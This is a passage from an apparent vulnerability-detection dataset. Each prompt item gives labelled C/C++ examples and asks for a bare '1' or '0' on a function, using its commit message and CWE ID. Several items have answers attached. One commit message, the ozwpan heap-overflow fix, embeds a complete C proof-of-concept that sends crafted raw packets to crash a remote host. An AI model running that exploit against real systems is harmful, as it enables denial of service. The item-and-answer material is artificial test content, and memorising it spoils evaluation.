status&=MogrifyImageInfo(image_info,argc,argv,exception); return(status != 0 ? MagickTrue : MagickFalse); } Commit Message: https://github.com/ImageMagick/ImageMagick/issues/1616 CWE ID: CWE-399 Target: 1 Example 2: Code: static void init_sched_groups_power(int cpu, struct sched_domain *sd) { struct sched_group *sg = sd->groups; WARN_ON(!sg); do { sg->group_weight = cpumask_weight(sched_group_cpus(sg)); sg = sg->next; } while (sg != sd->groups); if (cpu != group_balance_cpu(sg)) return; update_group_power(sd, cpu); atomic_set(&sg->sgp->nr_busy_cpus, sg->group_weight); } Commit Message: sched: Fix information leak in sys_sched_getattr() We're copying the on-stack structure to userspace, but forgot to give the right number of bytes to copy. This allows the calling process to obtain up to PAGE_SIZE bytes from the stack (and possibly adjacent kernel memory). This fix copies only as much as we actually have on the stack (attr->size defaults to the size of the struct) and leaves the rest of the userspace-provided buffer untouched. Found using kmemcheck + trinity. Fixes: d50dde5a10f30 ("sched: Add new scheduler syscalls to support an extended scheduling parameters ABI") Cc: Dario Faggioli <[email protected]> Cc: Juri Lelli <[email protected]> Cc: Ingo Molnar <[email protected]> Signed-off-by: Vegard Nossum <[email protected]> Signed-off-by: Peter Zijlstra <[email protected]> Link: http://lkml.kernel.org/r/[email protected] Signed-off-by: Thomas Gleixner <[email protected]> CWE ID: CWE-200 Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: bool BrowserCommandController::IsCommandEnabled(int id) const { return command_updater_.IsCommandEnabled(id); } Commit Message: mac: Do not let synthetic events toggle "Allow JavaScript From AppleEvents" Bug: 891697 Change-Id: I49eb77963515637df739c9d2ce83530d4e21cf15 Reviewed-on: https://chromium-review.googlesource.com/c/1308771 Reviewed-by: Elly Fong-Jones <[email protected]> Commit-Queue: Robert Sesek <[email protected]> Cr-Commit-Position: refs/heads/master@{#604268} CWE ID: CWE-20 Output:
0
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: int PreProcessingFx_Command(effect_handle_t self, uint32_t cmdCode, uint32_t cmdSize, void *pCmdData, uint32_t *replySize, void *pReplyData) { preproc_effect_t * effect = (preproc_effect_t *) self; int retsize; int status; if (effect == NULL){ return -EINVAL; } switch (cmdCode){ case EFFECT_CMD_INIT: if (pReplyData == NULL || *replySize != sizeof(int)){ return -EINVAL; } if (effect->ops->init) { effect->ops->init(effect); } *(int *)pReplyData = 0; break; case EFFECT_CMD_SET_CONFIG: { if (pCmdData == NULL|| cmdSize != sizeof(effect_config_t)|| pReplyData == NULL|| *replySize != sizeof(int)){ ALOGV("PreProcessingFx_Command cmdCode Case: " "EFFECT_CMD_SET_CONFIG: ERROR"); return -EINVAL; } #ifdef DUAL_MIC_TEST uint32_t enabledMsk = effect->session->enabledMsk; if (gDualMicEnabled) { effect->session->enabledMsk = 0; } #endif *(int *)pReplyData = Session_SetConfig(effect->session, (effect_config_t *)pCmdData); #ifdef DUAL_MIC_TEST if (gDualMicEnabled) { effect->session->enabledMsk = enabledMsk; } #endif if (*(int *)pReplyData != 0) { break; } if (effect->state != PREPROC_EFFECT_STATE_ACTIVE) { *(int *)pReplyData = Effect_SetState(effect, PREPROC_EFFECT_STATE_CONFIG); } } break; case EFFECT_CMD_GET_CONFIG: if (pReplyData == NULL || *replySize != sizeof(effect_config_t)) { ALOGV("\tLVM_ERROR : PreProcessingFx_Command cmdCode Case: " "EFFECT_CMD_GET_CONFIG: ERROR"); return -EINVAL; } Session_GetConfig(effect->session, (effect_config_t *)pReplyData); break; case EFFECT_CMD_SET_CONFIG_REVERSE: if (pCmdData == NULL || cmdSize != sizeof(effect_config_t) || pReplyData == NULL || *replySize != sizeof(int)) { ALOGV("PreProcessingFx_Command cmdCode Case: " "EFFECT_CMD_SET_CONFIG_REVERSE: ERROR"); return -EINVAL; } *(int *)pReplyData = Session_SetReverseConfig(effect->session, (effect_config_t *)pCmdData); if (*(int *)pReplyData != 0) { break; } break; case EFFECT_CMD_GET_CONFIG_REVERSE: if (pReplyData == NULL || *replySize != sizeof(effect_config_t)){ ALOGV("PreProcessingFx_Command cmdCode Case: " "EFFECT_CMD_GET_CONFIG_REVERSE: ERROR"); return -EINVAL; } Session_GetReverseConfig(effect->session, (effect_config_t *)pCmdData); break; case EFFECT_CMD_RESET: if (effect->ops->reset) { effect->ops->reset(effect); } break; case EFFECT_CMD_GET_PARAM:{ if (pCmdData == NULL || cmdSize < (int)sizeof(effect_param_t) || pReplyData == NULL || *replySize < (int)sizeof(effect_param_t)){ ALOGV("PreProcessingFx_Command cmdCode Case: " "EFFECT_CMD_GET_PARAM: ERROR"); return -EINVAL; } effect_param_t *p = (effect_param_t *)pCmdData; memcpy(pReplyData, pCmdData, sizeof(effect_param_t) + p->psize); p = (effect_param_t *)pReplyData; int voffset = ((p->psize - 1) / sizeof(int32_t) + 1) * sizeof(int32_t); if (effect->ops->get_parameter) { p->status = effect->ops->get_parameter(effect, p->data, &p->vsize, p->data + voffset); *replySize = sizeof(effect_param_t) + voffset + p->vsize; } } break; case EFFECT_CMD_SET_PARAM:{ if (pCmdData == NULL|| cmdSize < (int)sizeof(effect_param_t) || pReplyData == NULL || *replySize != sizeof(int32_t)){ ALOGV("PreProcessingFx_Command cmdCode Case: " "EFFECT_CMD_SET_PARAM: ERROR"); return -EINVAL; } effect_param_t *p = (effect_param_t *) pCmdData; if (p->psize != sizeof(int32_t)){ ALOGV("PreProcessingFx_Command cmdCode Case: " "EFFECT_CMD_SET_PARAM: ERROR, psize is not sizeof(int32_t)"); return -EINVAL; } if (effect->ops->set_parameter) { *(int *)pReplyData = effect->ops->set_parameter(effect, (void *)p->data, p->data + p->psize); } } break; case EFFECT_CMD_ENABLE: if (pReplyData == NULL || *replySize != sizeof(int)){ ALOGV("PreProcessingFx_Command cmdCode Case: EFFECT_CMD_ENABLE: ERROR"); return -EINVAL; } *(int *)pReplyData = Effect_SetState(effect, PREPROC_EFFECT_STATE_ACTIVE); break; case EFFECT_CMD_DISABLE: if (pReplyData == NULL || *replySize != sizeof(int)){ ALOGV("PreProcessingFx_Command cmdCode Case: EFFECT_CMD_DISABLE: ERROR"); return -EINVAL; } *(int *)pReplyData = Effect_SetState(effect, PREPROC_EFFECT_STATE_CONFIG); break; case EFFECT_CMD_SET_DEVICE: case EFFECT_CMD_SET_INPUT_DEVICE: if (pCmdData == NULL || cmdSize != sizeof(uint32_t)) { ALOGV("PreProcessingFx_Command cmdCode Case: EFFECT_CMD_SET_DEVICE: ERROR"); return -EINVAL; } if (effect->ops->set_device) { effect->ops->set_device(effect, *(uint32_t *)pCmdData); } break; case EFFECT_CMD_SET_VOLUME: case EFFECT_CMD_SET_AUDIO_MODE: break; #ifdef DUAL_MIC_TEST case PREPROC_CMD_DUAL_MIC_ENABLE: { if (pCmdData == NULL|| cmdSize != sizeof(uint32_t) || pReplyData == NULL || replySize == NULL) { ALOGE("PreProcessingFx_Command cmdCode Case: " "PREPROC_CMD_DUAL_MIC_ENABLE: ERROR"); *replySize = 0; return -EINVAL; } gDualMicEnabled = *(bool *)pCmdData; if (gDualMicEnabled) { effect->aux_channels_on = sHasAuxChannels[effect->procId]; } else { effect->aux_channels_on = false; } effect->cur_channel_config = (effect->session->inChannelCount == 1) ? CHANNEL_CFG_MONO : CHANNEL_CFG_STEREO; ALOGV("PREPROC_CMD_DUAL_MIC_ENABLE: %s", gDualMicEnabled ? "enabled" : "disabled"); *replySize = sizeof(int); *(int *)pReplyData = 0; } break; case PREPROC_CMD_DUAL_MIC_PCM_DUMP_START: { if (pCmdData == NULL|| pReplyData == NULL || replySize == NULL) { ALOGE("PreProcessingFx_Command cmdCode Case: " "PREPROC_CMD_DUAL_MIC_PCM_DUMP_START: ERROR"); *replySize = 0; return -EINVAL; } pthread_mutex_lock(&gPcmDumpLock); if (gPcmDumpFh != NULL) { fclose(gPcmDumpFh); gPcmDumpFh = NULL; } char *path = strndup((char *)pCmdData, cmdSize); gPcmDumpFh = fopen((char *)path, "wb"); pthread_mutex_unlock(&gPcmDumpLock); ALOGV("PREPROC_CMD_DUAL_MIC_PCM_DUMP_START: path %s gPcmDumpFh %p", path, gPcmDumpFh); ALOGE_IF(gPcmDumpFh <= 0, "gPcmDumpFh open error %d %s", errno, strerror(errno)); free(path); *replySize = sizeof(int); *(int *)pReplyData = 0; } break; case PREPROC_CMD_DUAL_MIC_PCM_DUMP_STOP: { if (pReplyData == NULL || replySize == NULL) { ALOGE("PreProcessingFx_Command cmdCode Case: " "PREPROC_CMD_DUAL_MIC_PCM_DUMP_STOP: ERROR"); *replySize = 0; return -EINVAL; } pthread_mutex_lock(&gPcmDumpLock); if (gPcmDumpFh != NULL) { fclose(gPcmDumpFh); gPcmDumpFh = NULL; } pthread_mutex_unlock(&gPcmDumpLock); ALOGV("PREPROC_CMD_DUAL_MIC_PCM_DUMP_STOP"); *replySize = sizeof(int); *(int *)pReplyData = 0; } break; case EFFECT_CMD_GET_FEATURE_SUPPORTED_CONFIGS: { if(!gDualMicEnabled) { return -EINVAL; } if (pCmdData == NULL|| cmdSize != 2 * sizeof(uint32_t) || pReplyData == NULL || replySize == NULL) { ALOGE("PreProcessingFx_Command cmdCode Case: " "EFFECT_CMD_GET_FEATURE_SUPPORTED_CONFIGS: ERROR"); *replySize = 0; return -EINVAL; } if (*(uint32_t *)pCmdData != EFFECT_FEATURE_AUX_CHANNELS || !effect->aux_channels_on) { ALOGV("PreProcessingFx_Command feature EFFECT_FEATURE_AUX_CHANNELS not supported by" " fx %d", effect->procId); *(uint32_t *)pReplyData = -ENOSYS; *replySize = sizeof(uint32_t); break; } size_t num_configs = *((uint32_t *)pCmdData + 1); if (*replySize < (2 * sizeof(uint32_t) + num_configs * sizeof(channel_config_t))) { *replySize = 0; return -EINVAL; } *((uint32_t *)pReplyData + 1) = CHANNEL_CFG_CNT; if (num_configs < CHANNEL_CFG_CNT || *replySize < (2 * sizeof(uint32_t) + CHANNEL_CFG_CNT * sizeof(channel_config_t))) { *(uint32_t *)pReplyData = -ENOMEM; } else { num_configs = CHANNEL_CFG_CNT; *(uint32_t *)pReplyData = 0; } ALOGV("PreProcessingFx_Command EFFECT_CMD_GET_FEATURE_SUPPORTED_CONFIGS num config %d", num_configs); *replySize = 2 * sizeof(uint32_t) + num_configs * sizeof(channel_config_t); *((uint32_t *)pReplyData + 1) = num_configs; memcpy((uint32_t *)pReplyData + 2, &sDualMicConfigs, num_configs * sizeof(channel_config_t)); } break; case EFFECT_CMD_GET_FEATURE_CONFIG: if(!gDualMicEnabled) { return -EINVAL; } if (pCmdData == NULL|| cmdSize != sizeof(uint32_t) || pReplyData == NULL || replySize == NULL || *replySize < sizeof(uint32_t) + sizeof(channel_config_t)) { ALOGE("PreProcessingFx_Command cmdCode Case: " "EFFECT_CMD_GET_FEATURE_CONFIG: ERROR"); return -EINVAL; } if (*(uint32_t *)pCmdData != EFFECT_FEATURE_AUX_CHANNELS || !effect->aux_channels_on) { *(uint32_t *)pReplyData = -ENOSYS; *replySize = sizeof(uint32_t); break; } ALOGV("PreProcessingFx_Command EFFECT_CMD_GET_FEATURE_CONFIG"); *(uint32_t *)pReplyData = 0; *replySize = sizeof(uint32_t) + sizeof(channel_config_t); memcpy((uint32_t *)pReplyData + 1, &sDualMicConfigs[effect->cur_channel_config], sizeof(channel_config_t)); break; case EFFECT_CMD_SET_FEATURE_CONFIG: { ALOGV("PreProcessingFx_Command EFFECT_CMD_SET_FEATURE_CONFIG: " "gDualMicEnabled %d effect->aux_channels_on %d", gDualMicEnabled, effect->aux_channels_on); if(!gDualMicEnabled) { return -EINVAL; } if (pCmdData == NULL|| cmdSize != (sizeof(uint32_t) + sizeof(channel_config_t)) || pReplyData == NULL || replySize == NULL || *replySize < sizeof(uint32_t)) { ALOGE("PreProcessingFx_Command cmdCode Case: " "EFFECT_CMD_SET_FEATURE_CONFIG: ERROR\n" "pCmdData %p cmdSize %d pReplyData %p replySize %p *replySize %d", pCmdData, cmdSize, pReplyData, replySize, replySize ? *replySize : -1); return -EINVAL; } *replySize = sizeof(uint32_t); if (*(uint32_t *)pCmdData != EFFECT_FEATURE_AUX_CHANNELS || !effect->aux_channels_on) { *(uint32_t *)pReplyData = -ENOSYS; ALOGV("PreProcessingFx_Command cmdCode Case: " "EFFECT_CMD_SET_FEATURE_CONFIG: ERROR\n" "CmdData %d effect->aux_channels_on %d", *(uint32_t *)pCmdData, effect->aux_channels_on); break; } size_t i; for (i = 0; i < CHANNEL_CFG_CNT;i++) { if (memcmp((uint32_t *)pCmdData + 1, &sDualMicConfigs[i], sizeof(channel_config_t)) == 0) { break; } } if (i == CHANNEL_CFG_CNT) { *(uint32_t *)pReplyData = -EINVAL; ALOGW("PreProcessingFx_Command EFFECT_CMD_SET_FEATURE_CONFIG invalid config" "[%08x].[%08x]", *((uint32_t *)pCmdData + 1), *((uint32_t *)pCmdData + 2)); } else { effect->cur_channel_config = i; *(uint32_t *)pReplyData = 0; ALOGV("PreProcessingFx_Command EFFECT_CMD_SET_FEATURE_CONFIG New config" "[%08x].[%08x]", sDualMicConfigs[i].main_channels, sDualMicConfigs[i].aux_channels); } } break; #endif default: return -EINVAL; } return 0; } Commit Message: audio effects: fix heap overflow Check consistency of effect command reply sizes before copying to reply address. Also add null pointer check on reply size. Also remove unused parameter warning. Bug: 21953516. Change-Id: I4cf00c12eaed696af28f3b7613f7e36f47a160c4 (cherry picked from commit 0f714a464d2425afe00d6450535e763131b40844) CWE ID: CWE-119 Target: 1 Example 2: Code: void buffer_dump(FILE *o, struct buffer *b, int from, int to) { fprintf(o, "Dumping buffer %p\n", b); fprintf(o, " data=%p o=%d i=%d p=%p\n" " relative: p=0x%04x\n", b->data, b->o, b->i, b->p, (unsigned int)(b->p - b->data)); fprintf(o, "Dumping contents from byte %d to byte %d\n", from, to); fprintf(o, " 0 1 2 3 4 5 6 7 8 9 a b c d e f\n"); /* dump hexa */ while (from < to) { int i; fprintf(o, " %04x: ", from); for (i = 0; ((from + i) < to) && (i < 16) ; i++) { fprintf(o, "%02x ", (unsigned char)b->data[from + i]); if (((from + i) & 15) == 7) fprintf(o, "- "); } if (to - from < 16) { int j = 0; for (j = 0; j < from + 16 - to; j++) fprintf(o, " "); if (j > 8) fprintf(o, " "); } fprintf(o, " "); for (i = 0; (from + i < to) && (i < 16) ; i++) { fprintf(o, "%c", isprint((int)b->data[from + i]) ? b->data[from + i] : '.') ; if ((((from + i) & 15) == 15) && ((from + i) != to-1)) fprintf(o, "\n"); } from += i; } fprintf(o, "\n--\n"); fflush(o); } Commit Message: CWE ID: CWE-119 Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: tlink_rb_search(struct rb_root *root, uid_t uid) { struct rb_node *node = root->rb_node; struct tcon_link *tlink; while (node) { tlink = rb_entry(node, struct tcon_link, tl_rbnode); if (tlink->tl_uid > uid) node = node->rb_left; else if (tlink->tl_uid < uid) node = node->rb_right; else return tlink; } return NULL; } Commit Message: cifs: always do is_path_accessible check in cifs_mount Currently, we skip doing the is_path_accessible check in cifs_mount if there is no prefixpath. I have a report of at least one server however that allows a TREE_CONNECT to a share that has a DFS referral at its root. The reporter in this case was using a UNC that had no prefixpath, so the is_path_accessible check was not triggered and the box later hit a BUG() because we were chasing a DFS referral on the root dentry for the mount. This patch fixes this by removing the check for a zero-length prefixpath. That should make the is_path_accessible check be done in this situation and should allow the client to chase the DFS referral at mount time instead. Cc: [email protected] Reported-and-Tested-by: Yogesh Sharma <[email protected]> Signed-off-by: Jeff Layton <[email protected]> Signed-off-by: Steve French <[email protected]> CWE ID: CWE-20 Output:
0
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: void oz_usb_rx(struct oz_pd *pd, struct oz_elt *elt) { struct oz_usb_hdr *usb_hdr = (struct oz_usb_hdr *)(elt + 1); struct oz_usb_ctx *usb_ctx; spin_lock_bh(&pd->app_lock[OZ_APPID_USB]); usb_ctx = (struct oz_usb_ctx *)pd->app_ctx[OZ_APPID_USB]; if (usb_ctx) oz_usb_get(usb_ctx); spin_unlock_bh(&pd->app_lock[OZ_APPID_USB]); if (usb_ctx == NULL) return; /* Context has gone so nothing to do. */ if (usb_ctx->stopped) goto done; /* If sequence number is non-zero then check it is not a duplicate. * Zero sequence numbers are always accepted. */ if (usb_hdr->elt_seq_num != 0) { if (((usb_ctx->rx_seq_num - usb_hdr->elt_seq_num) & 0x80) == 0) /* Reject duplicate element. */ goto done; } usb_ctx->rx_seq_num = usb_hdr->elt_seq_num; switch (usb_hdr->type) { case OZ_GET_DESC_RSP: { struct oz_get_desc_rsp *body = (struct oz_get_desc_rsp *)usb_hdr; int data_len = elt->length - sizeof(struct oz_get_desc_rsp) + 1; u16 offs = le16_to_cpu(get_unaligned(&body->offset)); u16 total_size = le16_to_cpu(get_unaligned(&body->total_size)); oz_dbg(ON, "USB_REQ_GET_DESCRIPTOR - cnf\n"); oz_hcd_get_desc_cnf(usb_ctx->hport, body->req_id, body->rcode, body->data, data_len, offs, total_size); } break; case OZ_SET_CONFIG_RSP: { struct oz_set_config_rsp *body = (struct oz_set_config_rsp *)usb_hdr; oz_hcd_control_cnf(usb_ctx->hport, body->req_id, body->rcode, NULL, 0); } break; case OZ_SET_INTERFACE_RSP: { struct oz_set_interface_rsp *body = (struct oz_set_interface_rsp *)usb_hdr; oz_hcd_control_cnf(usb_ctx->hport, body->req_id, body->rcode, NULL, 0); } break; case OZ_VENDOR_CLASS_RSP: { struct oz_vendor_class_rsp *body = (struct oz_vendor_class_rsp *)usb_hdr; oz_hcd_control_cnf(usb_ctx->hport, body->req_id, body->rcode, body->data, elt->length- sizeof(struct oz_vendor_class_rsp)+1); } break; case OZ_USB_ENDPOINT_DATA: oz_usb_handle_ep_data(usb_ctx, usb_hdr, elt->length); break; } done: oz_usb_put(usb_ctx); } Commit Message: ozwpan: Use proper check to prevent heap overflow Since elt->length is a u8, we can make this variable a u8. Then we can do proper bounds checking more easily. Without this, a potentially negative value is passed to the memcpy inside oz_hcd_get_desc_cnf, resulting in a remotely exploitable heap overflow with network supplied data. This could result in remote code execution. A PoC which obtains DoS follows below. It requires the ozprotocol.h file from this module. =-=-=-=-=-= #include <arpa/inet.h> #include <linux/if_packet.h> #include <net/if.h> #include <netinet/ether.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <endian.h> #include <sys/ioctl.h> #include <sys/socket.h> #define u8 uint8_t #define u16 uint16_t #define u32 uint32_t #define __packed __attribute__((__packed__)) #include "ozprotocol.h" static int hex2num(char c) { if (c >= '0' && c <= '9') return c - '0'; if (c >= 'a' && c <= 'f') return c - 'a' + 10; if (c >= 'A' && c <= 'F') return c - 'A' + 10; return -1; } static int hwaddr_aton(const char *txt, uint8_t *addr) { int i; for (i = 0; i < 6; i++) { int a, b; a = hex2num(*txt++); if (a < 0) return -1; b = hex2num(*txt++); if (b < 0) return -1; *addr++ = (a << 4) | b; if (i < 5 && *txt++ != ':') return -1; } return 0; } int main(int argc, char *argv[]) { if (argc < 3) { fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]); return 1; } uint8_t dest_mac[6]; if (hwaddr_aton(argv[2], dest_mac)) { fprintf(stderr, "Invalid mac address.\n"); return 1; } int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW); if (sockfd < 0) { perror("socket"); return 1; } struct ifreq if_idx; int interface_index; strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1); if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) { perror("SIOCGIFINDEX"); return 1; } interface_index = if_idx.ifr_ifindex; if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) { perror("SIOCGIFHWADDR"); return 1; } uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data; struct { struct ether_header ether_header; struct oz_hdr oz_hdr; struct oz_elt oz_elt; struct oz_elt_connect_req oz_elt_connect_req; } __packed connect_packet = { .ether_header = { .ether_type = htons(OZ_ETHERTYPE), .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] }, .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }, .oz_hdr = { .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT), .last_pkt_num = 0, .pkt_num = htole32(0) }, .oz_elt = { .type = OZ_ELT_CONNECT_REQ, .length = sizeof(struct oz_elt_connect_req) }, .oz_elt_connect_req = { .mode = 0, .resv1 = {0}, .pd_info = 0, .session_id = 0, .presleep = 35, .ms_isoc_latency = 0, .host_vendor = 0, .keep_alive = 0, .apps = htole16((1 << OZ_APPID_USB) | 0x1), .max_len_div16 = 0, .ms_per_isoc = 0, .up_audio_buf = 0, .ms_per_elt = 0 } }; struct { struct ether_header ether_header; struct oz_hdr oz_hdr; struct oz_elt oz_elt; struct oz_get_desc_rsp oz_get_desc_rsp; } __packed pwn_packet = { .ether_header = { .ether_type = htons(OZ_ETHERTYPE), .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] }, .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }, .oz_hdr = { .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT), .last_pkt_num = 0, .pkt_num = htole32(1) }, .oz_elt = { .type = OZ_ELT_APP_DATA, .length = sizeof(struct oz_get_desc_rsp) - 2 }, .oz_get_desc_rsp = { .app_id = OZ_APPID_USB, .elt_seq_num = 0, .type = OZ_GET_DESC_RSP, .req_id = 0, .offset = htole16(0), .total_size = htole16(0), .rcode = 0, .data = {0} } }; struct sockaddr_ll socket_address = { .sll_ifindex = interface_index, .sll_halen = ETH_ALEN, .sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }; if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) { perror("sendto"); return 1; } usleep(300000); if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) { perror("sendto"); return 1; } return 0; } Signed-off-by: Jason A. Donenfeld <[email protected]> Acked-by: Dan Carpenter <[email protected]> Cc: stable <[email protected]> Signed-off-by: Greg Kroah-Hartman <[email protected]> CWE ID: CWE-119 Target: 1 Example 2: Code: void HTMLScriptRunner::executeScriptsWaitingForLoad(Resource* resource) { ASSERT(!isExecutingScript()); ASSERT(hasParserBlockingScript()); ASSERT_UNUSED(resource, m_parserBlockingScript.resource() == resource); ASSERT(m_parserBlockingScript.isReady()); executeParsingBlockingScripts(); } Commit Message: Correctly keep track of isolates for microtask execution BUG=487155 [email protected] Review URL: https://codereview.chromium.org/1161823002 git-svn-id: svn://svn.chromium.org/blink/trunk@195985 bbb929c8-8fbe-4397-9dbb-9b2b20218538 CWE ID: CWE-254 Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: ipv6_renew_options(struct sock *sk, struct ipv6_txoptions *opt, int newtype, struct ipv6_opt_hdr __user *newopt, int newoptlen) { int tot_len = 0; char *p; struct ipv6_txoptions *opt2; int err; if (opt) { if (newtype != IPV6_HOPOPTS && opt->hopopt) tot_len += CMSG_ALIGN(ipv6_optlen(opt->hopopt)); if (newtype != IPV6_RTHDRDSTOPTS && opt->dst0opt) tot_len += CMSG_ALIGN(ipv6_optlen(opt->dst0opt)); if (newtype != IPV6_RTHDR && opt->srcrt) tot_len += CMSG_ALIGN(ipv6_optlen(opt->srcrt)); if (newtype != IPV6_DSTOPTS && opt->dst1opt) tot_len += CMSG_ALIGN(ipv6_optlen(opt->dst1opt)); } if (newopt && newoptlen) tot_len += CMSG_ALIGN(newoptlen); if (!tot_len) return NULL; tot_len += sizeof(*opt2); opt2 = sock_kmalloc(sk, tot_len, GFP_ATOMIC); if (!opt2) return ERR_PTR(-ENOBUFS); memset(opt2, 0, tot_len); opt2->tot_len = tot_len; p = (char *)(opt2 + 1); err = ipv6_renew_option(opt ? opt->hopopt : NULL, newopt, newoptlen, newtype != IPV6_HOPOPTS, &opt2->hopopt, &p); if (err) goto out; err = ipv6_renew_option(opt ? opt->dst0opt : NULL, newopt, newoptlen, newtype != IPV6_RTHDRDSTOPTS, &opt2->dst0opt, &p); if (err) goto out; err = ipv6_renew_option(opt ? opt->srcrt : NULL, newopt, newoptlen, newtype != IPV6_RTHDR, (struct ipv6_opt_hdr **)&opt2->srcrt, &p); if (err) goto out; err = ipv6_renew_option(opt ? opt->dst1opt : NULL, newopt, newoptlen, newtype != IPV6_DSTOPTS, &opt2->dst1opt, &p); if (err) goto out; opt2->opt_nflen = (opt2->hopopt ? ipv6_optlen(opt2->hopopt) : 0) + (opt2->dst0opt ? ipv6_optlen(opt2->dst0opt) : 0) + (opt2->srcrt ? ipv6_optlen(opt2->srcrt) : 0); opt2->opt_flen = (opt2->dst1opt ? ipv6_optlen(opt2->dst1opt) : 0); return opt2; out: sock_kfree_s(sk, opt2, opt2->tot_len); return ERR_PTR(err); } Commit Message: ipv6: add complete rcu protection around np->opt This patch addresses multiple problems : UDP/RAW sendmsg() need to get a stable struct ipv6_txoptions while socket is not locked : Other threads can change np->opt concurrently. Dmitry posted a syzkaller (http://github.com/google/syzkaller) program desmonstrating use-after-free. Starting with TCP/DCCP lockless listeners, tcp_v6_syn_recv_sock() and dccp_v6_request_recv_sock() also need to use RCU protection to dereference np->opt once (before calling ipv6_dup_options()) This patch adds full RCU protection to np->opt Reported-by: Dmitry Vyukov <[email protected]> Signed-off-by: Eric Dumazet <[email protected]> Acked-by: Hannes Frederic Sowa <[email protected]> Signed-off-by: David S. Miller <[email protected]> CWE ID: CWE-416 Output:
1
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: void ChromeMockRenderThread::OnCheckForCancel( const std::string& preview_ui_addr, int preview_request_id, bool* cancel) { *cancel = (print_preview_pages_remaining_ == print_preview_cancel_page_number_); } Commit Message: Print preview: Use an ID instead of memory pointer string in WebUI. BUG=144051 Review URL: https://chromiumcodereview.appspot.com/10870003 git-svn-id: svn://svn.chromium.org/chrome/trunk/src@153342 0039d316-1c4b-4281-b951-d872f2087c98 CWE ID: CWE-200 Target: 1 Example 2: Code: void GLES2Implementation::RestoreElementAndArrayBuffers(bool restore) { if (restore) { RestoreArrayBuffer(restore); if (vertex_array_object_manager_->bound_element_array_buffer() == 0) { helper_->BindBuffer(GL_ELEMENT_ARRAY_BUFFER, 0); } } } Commit Message: Add GL_PROGRAM_COMPLETION_QUERY_CHROMIUM This makes the query of GL_COMPLETION_STATUS_KHR to programs much cheaper by minimizing the round-trip to the GPU thread. Bug: 881152, 957001 Change-Id: Iadfa798af29225e752c710ca5c25f50b3dd3101a Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1586630 Commit-Queue: Kenneth Russell <[email protected]> Reviewed-by: Kentaro Hara <[email protected]> Reviewed-by: Geoff Lang <[email protected]> Reviewed-by: Kenneth Russell <[email protected]> Cr-Commit-Position: refs/heads/master@{#657568} CWE ID: CWE-416 Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: static int fsmVerify(const char *path, rpmfi fi) { int rc; int saveerrno = errno; struct stat dsb; mode_t mode = rpmfiFMode(fi); rc = fsmStat(path, 1, &dsb); if (rc) return rc; if (S_ISREG(mode)) { /* HP-UX (and other os'es) don't permit unlink on busy files. */ char *rmpath = rstrscat(NULL, path, "-RPMDELETE", NULL); rc = fsmRename(path, rmpath); /* XXX shouldn't we take unlink return code here? */ if (!rc) (void) fsmUnlink(rmpath); else rc = RPMERR_UNLINK_FAILED; free(rmpath); return (rc ? rc : RPMERR_ENOENT); /* XXX HACK */ } else if (S_ISDIR(mode)) { if (S_ISDIR(dsb.st_mode)) return 0; if (S_ISLNK(dsb.st_mode)) { rc = fsmStat(path, 0, &dsb); if (rc == RPMERR_ENOENT) rc = 0; if (rc) return rc; errno = saveerrno; if (S_ISDIR(dsb.st_mode)) return 0; } } else if (S_ISLNK(mode)) { if (S_ISLNK(dsb.st_mode)) { char buf[8 * BUFSIZ]; size_t len; rc = fsmReadLink(path, buf, 8 * BUFSIZ, &len); errno = saveerrno; if (rc) return rc; if (rstreq(rpmfiFLink(fi), buf)) return 0; } } else if (S_ISFIFO(mode)) { if (S_ISFIFO(dsb.st_mode)) return 0; } else if (S_ISCHR(mode) || S_ISBLK(mode)) { if ((S_ISCHR(dsb.st_mode) || S_ISBLK(dsb.st_mode)) && (dsb.st_rdev == rpmfiFRdev(fi))) return 0; } else if (S_ISSOCK(mode)) { if (S_ISSOCK(dsb.st_mode)) return 0; } /* XXX shouldn't do this with commit/undo. */ rc = fsmUnlink(path); if (rc == 0) rc = RPMERR_ENOENT; return (rc ? rc : RPMERR_ENOENT); /* XXX HACK */ } Commit Message: Restrict following symlinks to directories by ownership (CVE-2017-7500) Only follow directory symlinks owned by target directory owner or root. This prevents 